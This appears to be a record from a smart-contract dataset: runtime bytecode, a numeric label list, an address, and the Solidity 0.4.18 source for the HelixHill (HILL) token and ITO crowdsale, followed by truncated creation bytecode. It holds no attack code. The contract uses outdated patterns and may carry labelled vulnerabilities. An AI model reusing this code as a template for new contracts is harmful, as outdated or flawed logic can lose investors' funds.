5b8683013582811115613c495760008081fd5b613c578c8983870101613a1a565b82525085525050918301918301613bd7565b60008060008060808587031215613c7f57600080fd5b843567ffffffffffffffff80821115613c9757600080fd5b613ca3888389016139ab565b95506020870135915080821115613cb957600080fd5b613cc588838901613aa8565b94506040870135915080821115613cdb57600080fd5b613ce788838901613b93565b93506060870135915080821115613cfd57600080fd5b50613d0a878288016138dc565b91505092959194509250565b60008083601f840112613d2857600080fd5b50813567ffffffffffffffff811115613d4057600080fd5b602083019150836020828501011115613d5857600080fd5b9250929050565b600080600080600060808688031215613d7757600080fd5b8535613d828161378c565b94506020860135613d928161378c565b935060408601359250606086013567ffffffffffffffff811115613db557600080fd5b613dc188828901613d16565b969995985093965092949392505050565b600082601f830112613de357600080fd5b81356020613df36138fd836138b8565b82815260059290921b84018101918181019086841115613e1257600080fd5b8286015b8481101561394557803567ffffffffffffffff80821115613e375760008081fd5b81890191506060807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0848d03011215613e705760008081fd5b613e78613823565b87840135613e858161378c565b815260408481013584811115613e9b5760008081fd5b613ea98e8b838901016138dc565b838b015250918401359183831115613ec15760008081fd5b613ecf8d8a85880101613950565b908201528652505050918301918301613e16565b600082601f830112613ef457600080fd5b81356020613f046138fd836138b8565b82815260059290921b84018101918181019086841115613f2357600080fd5b8286015b8481101561394557803567ffffffffffffffff80821115613f485760008081fd5b81890191506060807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0848d03011215613f815760008081fd5b613f89613823565b87840135613f968161378c565b815260408481013584811115613fac5760008081fd5b613fba8e8b83890101613950565b838b015250918401359183831115613fd25760008081fd5b613fe08d8a85880101613950565b908201528652505050918301918301613f27565b600082601f83011261400557600080fd5b6040516040810181811067ffffffffffffffff82111715614028576140286137cb565b806040525080604084018581111561403f57600080fd5b845b81811015614059578035835260209283019201614041565b509195945050505050565b6000806000806000806000610100888a03121561408057600080fd5b873567ffffffffffffffff8082111561409857600080fd5b6140a48b838c016139ab565b985060208a01359150808211156140ba57600080fd5b6140c68b838c01613dd2565b975060408a01359150808211156140dc57600080fd5b6140e88b838c01613ee3565b965060608a01359150808211156140fe57600080fd5b61410a8b838c01613b93565b955060808a013591508082111561412057600080fd5b61412c8b838c01613aa8565b945060a08a013591508082111561414257600080fd5b5061414f8a828b016138dc565b92505061415f8960c08a01613ff4565b905092959891949750929550565b60006020828403121561417f57600080fd5b5035919050565b60008083601f84011261419857600080fd5b50813567ffffffffffffffff8111156141b057600080fd5b6020830191508360208260051b8501011115613d5857600080fd5b600080600080606085870312156141e157600080fd5b84356141ec8161378c565b9350602085013567ffffffffffffffff81111561420857600080fd5b61421487828801614186565b90945092505060408501356142288161378c565b939692955090935050565b80151581146109b057600080fd5b60008060006060848603121561425657600080fd5b8335925060208401356142688161378c565b9150604084013561427881614233565b809150509250925092565b6000806040838503121561429657600080fd5b82356142a18161378c565b915060208301356142b18161378c565b809150509250929050565b600060208083850312156142cf57600080fd5b823567ffffffffffffffff808211156142e757600080fd5b818501915085601f8301126142fb57600080fd5b81356143096138fd826138b8565b81815260059190911b8301840190848101908883111561432857600080fd5b8585015b838110156143bc578035858111156143445760008081fd5b86016040818c037fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe00181131561437a5760008081fd5b6143826137fa565b828a0135815290820135908782111561439b5760008081fd5b6143a98d8b84860101613a1a565b818b01528552505091860191860161432c565b5098975050505050505050565b6000602082840312156143db57600080fd5b813561378581614233565b6000602082840312156143f857600080fd5b813567ffffffffffffffff81111561440f57600080fd5b61441b84828501613aa8565b949350505050565b60008060006060848603121561443857600080fd5b83356144438161378c565b925060208401356144538161378c565b929592945050506040919091013590565b6000806000806000806080878903121561447d57600080fd5b86356144888161378c565b9550602087013567ffffffffffffffff808211156144a557600080fd5b6144b18a838b01614186565b909750955060408901359150808211156144ca57600080fd5b506144d789828a01614186565b90945092505060608701356144eb8161378c565b809150509295509295509295565b60008060008060008060008060a0898b03121561451557600080fd5b88356145208161378c565b975060208901356145308161378c565b9650604089013567ffffffffffffffff8082111561454d57600080fd5b6145598c838d01614186565b909850965060608b013591508082111561457257600080fd5b61457e8c838d01614186565b909650945060808b013591508082111561459757600080fd5b506145a48b828c01613d16565b999c989b5096995094979396929594505050565b6000806000606084860312156145cd57600080fd5b8335925060208401359150604084013561427881614233565b600080600080600080600060e0888a03121561460157600080fd5b873567ffffffffffffffff8082111561461957600080fd5b6146258b838c016139ab565b985060208a013591508082111561463b57600080fd5b6146478b838c01613dd2565b975060408a013591508082111561465d57600080fd5b6146698b838c01613ee3565b965060608a013591508082111561467f57600080fd5b61468b8b838c01613b93565b955060808a01359150808211156146a157600080fd5b6146ad8b838c01613aa8565b945060a08a01359150808211156146c357600080fd5b506146d08a828b016138dc565b92505060c0880135905092959891949750929550565b600080600080606085870312156146fc57600080fd5b84356147078161378c565b935060208501359250604085013567ffffffffffffffff81111561472a57600080fd5b61473687828801613d16565b95989497509550505050565b60008060008060008060a0878903121561475b57600080fd5b86356147668161378c565b955060208701356147768161378c565b94506040870135935060608701359250608087013567ffffffffffffffff8111156147a057600080fd5b6147ac89828a01613d16565b979a9699509497509295939492505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000825160005b8181101561480e57602081860181015185830152016147f4565b8181111561481d576000828501525b509190910192915050565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415614881577f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b5060010190565b60006020828403121561489a57600080fd5b81516137858161378c565b6000602082840312156148b757600080fd5b5051919050565b6000602082840312156148d057600080fd5b815161378581614233565b6000806000606084860312156148f057600080fd5b83516148fb8161378c565b602085015190935061490c81614233565b604085015190925061427881614233565b600081518084526020808501945080840160005b8381101561494d57815187529582019590820190600101614931565b509495945050505050565b600073ffffffffffffffffffffffffffffffffffffffff808716835280861660208401525060a0604083015261499160a083018561491d565b82810360608401526149a3818561491d565b83810360809094019390935250506000815260200194935050505056fea264697066735822122084081b3660bb8d3aefe98b94da311573556d2325cdc31cfc256ac29a81e78efa64736f6c634300080b0033
[ 15, 11, 8, 29, 16, 5 ]
0xf24665729a38b87ac0c0201975b42ab56059b362
pragma solidity ^0.4.18; // File: contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } // File: contracts/InvestedProvider.sol contract InvestedProvider is Ownable { uint public invested; } // File: contracts/AddressesFilterFeature.sol contract AddressesFilterFeature is Ownable { mapping(address => bool) public allowedAddresses; function addAllowedAddress(address allowedAddress) public onlyOwner { allowedAddresses[allowedAddress] = true; } function removeAllowedAddress(address allowedAddress) public onlyOwner { allowedAddresses[allowedAddress] = false; } } // File: contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } // File: contracts/token/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: contracts/token/BasicToken.sol /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } // File: contracts/token/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: contracts/token/StandardToken.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } // File: contracts/MintableToken.sol contract MintableToken is AddressesFilterFeature, StandardToken { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; address public saleAgent; mapping (address => uint) public initialBalances; modifier notLocked(address _from) { require(_from == owner || _from == saleAgent || allowedAddresses[_from] || mintingFinished); _; } function setSaleAgent(address newSaleAgnet) public { require(msg.sender == saleAgent || msg.sender == owner); saleAgent = newSaleAgnet; } function mint(address _to, uint256 _amount) public returns (bool) { require((msg.sender == saleAgent || msg.sender == owner) && !mintingFinished); totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); initialBalances[_to] = balances[_to]; Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() public returns (bool) { require((msg.sender == saleAgent || msg.sender == owner) && !mintingFinished); mintingFinished = true; MintFinished(); return true; } function transfer(address _to, uint256 _value) public notLocked(msg.sender) returns (bool) { return super.transfer(_to, _value); } function transferFrom(address from, address to, uint256 value) public notLocked(from) returns (bool) { return super.transferFrom(from, to, value); } } // File: contracts/TokenProvider.sol contract TokenProvider is Ownable { MintableToken public token; function setToken(address newToken) public onlyOwner { token = MintableToken(newToken); } } // File: contracts/MintTokensInterface.sol contract MintTokensInterface is TokenProvider { function mintTokens(address to, uint tokens) internal; } // File: contracts/MintTokensFeature.sol contract MintTokensFeature is MintTokensInterface { function mintTokens(address to, uint tokens) internal { token.mint(to, tokens); } } // File: contracts/PercentRateProvider.sol contract PercentRateProvider { uint public percentRate = 100; } // File: contracts/PercentRateFeature.sol contract PercentRateFeature is Ownable, PercentRateProvider { function setPercentRate(uint newPercentRate) public onlyOwner { percentRate = newPercentRate; } } // File: contracts/RetrieveTokensFeature.sol contract RetrieveTokensFeature is Ownable { function retrieveTokens(address to, address anotherToken) public onlyOwner { ERC20 alienToken = ERC20(anotherToken); alienToken.transfer(to, alienToken.balanceOf(this)); } } // File: contracts/WalletProvider.sol contract WalletProvider is Ownable { address public wallet; function setWallet(address newWallet) public onlyOwner { wallet = newWallet; } } // File: contracts/CommonSale.sol contract CommonSale is InvestedProvider, WalletProvider, PercentRateFeature, RetrieveTokensFeature, MintTokensFeature { using SafeMath for uint; address public directMintAgent; uint public price; uint public start; uint public minInvestedLimit; //MintableToken public token; uint public hardcap; modifier isUnderHardcap() { require(invested < hardcap); _; } function setHardcap(uint newHardcap) public onlyOwner { hardcap = newHardcap; } modifier onlyDirectMintAgentOrOwner() { require(directMintAgent == msg.sender || owner == msg.sender); _; } modifier minInvestLimited(uint value) { require(value >= minInvestedLimit); _; } function setStart(uint newStart) public onlyOwner { start = newStart; } function setMinInvestedLimit(uint newMinInvestedLimit) public onlyOwner { minInvestedLimit = newMinInvestedLimit; } function setDirectMintAgent(address newDirectMintAgent) public onlyOwner { directMintAgent = newDirectMintAgent; } function setPrice(uint newPrice) public onlyOwner { price = newPrice; } /* function setToken(address newToken) public onlyOwner { token = MintableToken(newToken); } */ function calculateTokens(uint _invested) internal returns(uint); function mintTokensExternal(address to, uint tokens) public onlyDirectMintAgentOrOwner { mintTokens(to, tokens); } /* function mintTokens(address to, uint tokens) internal { token.mint(this, tokens); token.transfer(to, tokens); } */ function endSaleDate() public view returns(uint); function mintTokensByETHExternal(address to, uint _invested) public onlyDirectMintAgentOrOwner returns(uint) { return mintTokensByETH(to, _invested); } function mintTokensByETH(address to, uint _invested) internal isUnderHardcap returns(uint) { invested = invested.add(_invested); uint tokens = calculateTokens(_invested); mintTokens(to, tokens); return tokens; } function fallback() internal minInvestLimited(msg.value) returns(uint) { require(now >= start && now < endSaleDate()); wallet.transfer(msg.value); return mintTokensByETH(msg.sender, msg.value); } function () public payable { fallback(); } } // File: contracts/TimeCountBonusFeature.sol contract TimeCountBonusFeature is CommonSale { struct Milestone { uint hardcap; uint price; uint period; uint invested; uint closed; } uint public period; Milestone[] public milestones; function milestonesCount() public constant returns(uint) { return milestones.length; } function addMilestone(uint _hardcap, uint _price, uint _period) public onlyOwner { require(_hardcap > 0 && _price > 0 && _period > 0); Milestone memory milestone = Milestone(_hardcap.mul(1 ether), _price, _period, 0, 0); milestones.push(milestone); hardcap = hardcap.add(milestone.hardcap); period = period.add(milestone.period); } function removeMilestone(uint8 number) public onlyOwner { require(number >=0 && number < milestones.length); Milestone storage milestone = milestones[number]; hardcap = hardcap.sub(milestone.hardcap); period = period.sub(milestone.period); delete milestones[number]; for (uint i = number; i < milestones.length - 1; i++) { milestones[i] = milestones[i+1]; } milestones.length--; } function changeMilestone(uint8 number, uint _hardcap, uint _price, uint _period) public onlyOwner { require(number >= 0 &&number < milestones.length); Milestone storage milestone = milestones[number]; hardcap = hardcap.sub(milestone.hardcap); period = period.sub(milestone.period); milestone.hardcap = _hardcap.mul(1 ether); milestone.price = _price; milestone.period = _period; hardcap = hardcap.add(milestone.hardcap); period = period.add(milestone.period); } function insertMilestone(uint8 numberAfter, uint _hardcap, uint _price, uint _period) public onlyOwner { require(numberAfter < milestones.length); Milestone memory milestone = Milestone(_hardcap.mul(1 ether), _price, _period, 0, 0); hardcap = hardcap.add(milestone.hardcap); period = period.add(milestone.period); milestones.length++; for (uint i = milestones.length - 2; i > numberAfter; i--) { milestones[i + 1] = milestones[i]; } milestones[numberAfter + 1] = milestone; } function clearMilestones() public onlyOwner { for (uint i = 0; i < milestones.length; i++) { delete milestones[i]; } milestones.length = 0; hardcap = 0; period = 0; } function endSaleDate() public view returns(uint) { return start.add(period * 1 days); } function currentMilestone() public constant returns(uint) { uint closeTime = start; for(uint i=0; i < milestones.length; i++) { closeTime += milestones[i].period.mul(1 days); if(milestones[i].closed == 0 && now < closeTime) { return i; } } revert(); } function calculateTokens(uint _invested) internal returns(uint) { uint milestoneIndex = currentMilestone(); Milestone storage milestone = milestones[milestoneIndex]; uint tokens = milestone.price.mul(_invested).div(1 ether); // update milestone milestone.invested = milestone.invested.add(_invested); if(milestone.invested >= milestone.hardcap) { milestone.closed = now; } return tokens; } } // File: contracts/AssembledCommonSale.sol contract AssembledCommonSale is TimeCountBonusFeature { } // File: contracts/WalletsPercents.sol contract WalletsPercents is Ownable { address[] public wallets; mapping (address => uint) percents; function addWallet(address wallet, uint percent) public onlyOwner { wallets.push(wallet); percents[wallet] = percent; } function cleanWallets() public onlyOwner { wallets.length = 0; } } // File: contracts/ExtendedWalletsMintTokensFeature.sol //import './PercentRateProvider.sol'; contract ExtendedWalletsMintTokensFeature is /*PercentRateProvider,*/ MintTokensInterface, WalletsPercents { using SafeMath for uint; uint public percentRate = 100; function mintExtendedTokens() public onlyOwner { uint summaryTokensPercent = 0; for(uint i = 0; i < wallets.length; i++) { summaryTokensPercent = summaryTokensPercent.add(percents[wallets[i]]); } uint mintedTokens = token.totalSupply(); uint allTokens = mintedTokens.mul(percentRate).div(percentRate.sub(summaryTokensPercent)); for(uint k = 0; k < wallets.length; k++) { mintTokens(wallets[k], allTokens.mul(percents[wallets[k]]).div(percentRate)); } } } // File: contracts/SoftcapFeature.sol contract SoftcapFeature is InvestedProvider, WalletProvider { using SafeMath for uint; mapping(address => uint) public balances; bool public softcapAchieved; bool public refundOn; bool public feePayed; uint public softcap; uint public constant devLimit = 7500000000000000000; address public constant devWallet = 0xEA15Adb66DC92a4BbCcC8Bf32fd25E2e86a2A770; function setSoftcap(uint newSoftcap) public onlyOwner { softcap = newSoftcap; } function withdraw() public { require(msg.sender == owner || msg.sender == devWallet); require(softcapAchieved); if(!feePayed) { devWallet.transfer(devLimit); feePayed = true; } wallet.transfer(this.balance); } function updateBalance(address to, uint amount) internal { balances[to] = balances[to].add(amount); if (!softcapAchieved && invested >= softcap) { softcapAchieved = true; } } function refund() public { require(refundOn && balances[msg.sender] > 0); uint value = balances[msg.sender]; balances[msg.sender] = 0; msg.sender.transfer(value); } function updateRefundState() internal returns(bool) { if (!softcapAchieved) { refundOn = true; } return refundOn; } } // File: contracts/TeamWallet.sol contract TeamWallet is Ownable{ address public token; address public crowdsale; uint public lockPeriod; uint public endLock; bool public started; modifier onlyCrowdsale() { require(crowdsale == msg.sender); _; } function setToken (address _token) public onlyOwner{ token = _token; } function setCrowdsale (address _crowdsale) public onlyOwner{ crowdsale = _crowdsale; } function setLockPeriod (uint _lockDays) public onlyOwner{ require(!started); lockPeriod = 1 days * _lockDays; } function start () public onlyCrowdsale{ started = true; endLock = now + lockPeriod; } function withdrawTokens (address _to) public onlyOwner{ require(now > endLock); ERC20 ERC20token = ERC20(token); ERC20token.transfer(_to, ERC20token.balanceOf(this)); } } // File: contracts/ITO.sol contract ITO is ExtendedWalletsMintTokensFeature, SoftcapFeature, AssembledCommonSale { address public teamWallet; bool public paused; function setTeamWallet (address _teamWallet) public onlyOwner{ teamWallet = _teamWallet; } function mintTokensByETH(address to, uint _invested) internal returns(uint) { uint _tokens = super.mintTokensByETH(to, _invested); updateBalance(to, _invested); return _tokens; } function finish() public onlyOwner { if (updateRefundState()) { token.finishMinting(); } else { withdraw(); mintExtendedTokens(); token.finishMinting(); TeamWallet tWallet = TeamWallet(teamWallet); tWallet.start(); } } function fallback() internal minInvestLimited(msg.value) returns(uint) { require(now >= start && now < endSaleDate()); require(!paused); return mintTokensByETH(msg.sender, msg.value); } function pauseITO() public onlyOwner { paused = true; } function continueITO() public onlyOwner { paused = false; } } // File: contracts/ReceivingContractCallback.sol contract ReceivingContractCallback { function tokenFallback(address _from, uint _value) public; } // File: contracts/Token.sol contract Token is MintableToken { string public constant name = "HelixHill"; string public constant symbol = "HILL"; uint32 public constant decimals = 18; mapping(address => bool) public registeredCallbacks; function transfer(address _to, uint256 _value) public returns (bool) { return processCallback(super.transfer(_to, _value), msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { return processCallback(super.transferFrom(_from, _to, _value), _from, _to, _value); } function registerCallback(address callback) public onlyOwner { registeredCallbacks[callback] = true; } function deregisterCallback(address callback) public onlyOwner { registeredCallbacks[callback] = false; } function processCallback(bool result, address from, address to, uint value) internal returns(bool) { if (result && registeredCallbacks[to]) { ReceivingContractCallback targetCallback = ReceivingContractCallback(to); targetCallback.tokenFallback(from, value); } return result; } } // File: contracts/Configurator.sol contract Configurator is Ownable { Token public token; ITO public ito; TeamWallet public teamWallet; function deploy() public onlyOwner { address manager = 0xd6561BF111dAfe86A896D6c844F82AE4a5bbc707; token = new Token(); ito = new ITO(); teamWallet = new TeamWallet(); token.setSaleAgent(ito); ito.setStart(1530622800); ito.addMilestone(2000, 5000000000000000000000, 146); ito.addMilestone(1000, 2000000000000000000000, 30); ito.addMilestone(1000, 1950000000000000000000, 30); ito.addMilestone(2000, 1800000000000000000000, 30); ito.addMilestone(3000, 1750000000000000000000, 30); ito.addMilestone(3500, 1600000000000000000000, 30); ito.addMilestone(4000, 1550000000000000000000, 30); ito.addMilestone(4500, 1500000000000000000000, 30); ito.addMilestone(5000, 1450000000000000000000, 30); ito.addMilestone(6000, 1400000000000000000000, 30); ito.addMilestone(8000, 1000000000000000000000, 30); ito.setSoftcap(2000000000000000000000); ito.setMinInvestedLimit(100000000000000000); ito.setWallet(0x3047e47EfC33cF8f6F9C3bdD1ACcaEda75B66f2A); ito.addWallet(0xe129b76dF45bFE35FE4a3fA52986CC8004538C98, 6); ito.addWallet(0x26Db091BF1Bcc2c439A2cA7140D76B4e909C7b4e, 2); ito.addWallet(teamWallet, 15); ito.addWallet(0x2A3b94CB5b9E10E12f97c72d6B5E09BD5A0E6bF1, 12); ito.setPercentRate(100); ito.setToken(token); ito.setTeamWallet(teamWallet); teamWallet.setToken(token); teamWallet.setCrowdsale(ito); teamWallet.setLockPeriod(180); token.transferOwnership(manager); ito.transferOwnership(manager); teamWallet.transferOwnership(manager); } }
0x60606040526004361061005e5763ffffffff60e060020a600035041663599270448114610063578063775c300c146100925780638da5cb5b146100a7578063e06902fa146100ba578063f2fde38b146100cd578063fc0c546a146100ec575b600080fd5b341561006e57600080fd5b6100766100ff565b604051600160a060020a03909116815260200160405180910390f35b341561009d57600080fd5b6100a561010e565b005b34156100b257600080fd5b610076610edb565b34156100c557600080fd5b610076610eea565b34156100d857600080fd5b6100a5600160a060020a0360043516610ef9565b34156100f757600080fd5b610076610f94565b600354600160a060020a031681565b6000805433600160a060020a0390811691161461012a57600080fd5b5073d6561bf111dafe86a896d6c844f82ae4a5bbc707610148610fa3565b604051809103906000f080151561015e57600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055610193610fb3565b604051809103906000f08015156101a957600080fd5b6002805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03929092169190911790556101de610fc3565b604051809103906000f08015156101f457600080fd5b6003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03928316179055600154600254908216916314133a7c911660405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b151561026c57600080fd5b6102c65a03f1151561027d57600080fd5b5050600254600160a060020a0316905063f6a03ebf635b3b735060405160e060020a63ffffffff84160281526004810191909152602401600060405180830381600087803b15156102cd57600080fd5b6102c65a03f115156102de57600080fd5b5050600254600160a060020a0316905063d279830c6107d069010f0cf064dd59200000609260405160e060020a63ffffffff8616028152600481019390935260248301919091526044820152606401600060405180830381600087803b151561034657600080fd5b6102c65a03f1151561035757600080fd5b5050600254600160a060020a0316905063d279830c6103e8686c6b935b8bbd400000601e60405160e060020a63ffffffff8616028152600481019390935260248301919091526044820152606401600060405180830381600087803b15156103be57600080fd5b6102c65a03f115156103cf57600080fd5b5050600254600160a060020a0316905063d279830c6103e86869b5afac750bb80000601e60405160e060020a63ffffffff8616028152600481019390935260248301919091526044820152606401600060405180830381600087803b151561043657600080fd5b6102c65a03f1151561044757600080fd5b5050600254600160a060020a0316905063d279830c6107d0686194049f30f7200000601e60405160e060020a63ffffffff8616028152600481019390935260248301919091526044820152606401600060405180830381600087803b15156104ae57600080fd5b6102c65a03f115156104bf57600080fd5b5050600254600160a060020a0316905063d279830c610bb8685ede20f01a45980000601e60405160e060020a63ffffffff8616028152600481019390935260248301919091526044820152606401600060405180830381600087803b151561052657600080fd5b6102c65a03f1151561053757600080fd5b5050600254600160a060020a0316905063d279830c610dac6856bc75e2d631000000601e60405160e060020a63ffffffff8616028152600481019390935260248301919091526044820152606401600060405180830381600087803b151561059e57600080fd5b6102c65a03f115156105af57600080fd5b5050600254600160a060020a0316905063d279830c610fa06854069233bf7f780000601e60405160e060020a63ffffffff8616028152600481019390935260248301919091526044820152606401600060405180830381600087803b151561061657600080fd5b6102c65a03f1151561062757600080fd5b5050600254600160a060020a0316905063d279830c611194685150ae84a8cdf00000601e60405160e060020a63ffffffff8616028152600481019390935260248301919091526044820152606401600060405180830381600087803b151561068e57600080fd5b6102c65a03f1151561069f57600080fd5b5050600254600160a060020a0316905063d279830c611388684e9acad5921c680000601e60405160e060020a63ffffffff8616028152600481019390935260248301919091526044820152606401600060405180830381600087803b151561070657600080fd5b6102c65a03f1151561071757600080fd5b5050600254600160a060020a0316905063d279830c611770684be4e7267b6ae00000601e60405160e060020a63ffffffff8616028152600481019390935260248301919091526044820152606401600060405180830381600087803b151561077e57600080fd5b6102c65a03f1151561078f57600080fd5b5050600254600160a060020a0316905063d279830c611f40683635c9adc5dea00000601e60405160e060020a63ffffffff8616028152600481019390935260248301919091526044820152606401600060405180830381600087803b15156107f657600080fd5b6102c65a03f1151561080757600080fd5b5050600254600160a060020a0316905063101e5a32686c6b935b8bbd40000060405160e060020a63ffffffff84160281526004810191909152602401600060405180830381600087803b151561085c57600080fd5b6102c65a03f1151561086d57600080fd5b5050600254600160a060020a0316905063a34d927067016345785d8a000060405160e060020a63ffffffff84160281526004810191909152602401600060405180830381600087803b15156108c157600080fd5b6102c65a03f115156108d257600080fd5b5050600254600160a060020a0316905063deaa59df733047e47efc33cf8f6f9c3bdd1accaeda75b66f2a60405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b151561093a57600080fd5b6102c65a03f1151561094b57600080fd5b5050600254600160a060020a03169050630a2a9a0173e129b76df45bfe35fe4a3fa52986cc8004538c98600660405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401600060405180830381600087803b15156109ba57600080fd5b6102c65a03f115156109cb57600080fd5b505060028054600160a060020a03169150630a2a9a01907326db091bf1bcc2c439a2ca7140d76b4e909c7b4e9060405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401600060405180830381600087803b1515610a3b57600080fd5b6102c65a03f11515610a4c57600080fd5b5050600254600354600160a060020a039182169250630a2a9a019116600f60405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401600060405180830381600087803b1515610aad57600080fd5b6102c65a03f11515610abe57600080fd5b5050600254600160a060020a03169050630a2a9a01732a3b94cb5b9e10e12f97c72d6b5e09bd5a0e6bf1600c60405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401600060405180830381600087803b1515610b2d57600080fd5b6102c65a03f11515610b3e57600080fd5b5050600254600160a060020a0316905063480b890d606460405160e060020a63ffffffff84160281526004810191909152602401600060405180830381600087803b1515610b8b57600080fd5b6102c65a03f11515610b9c57600080fd5b5050600254600154600160a060020a03918216925063144fa6d7911660405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b1515610bf657600080fd5b6102c65a03f11515610c0757600080fd5b5050600254600354600160a060020a039182169250631525ff7d911660405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b1515610c6157600080fd5b6102c65a03f11515610c7257600080fd5b5050600354600154600160a060020a03918216925063144fa6d7911660405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b1515610ccc57600080fd5b6102c65a03f11515610cdd57600080fd5b5050600354600254600160a060020a03918216925063483a20b2911660405160e060020a63ffffffff8416028152600160a060020a03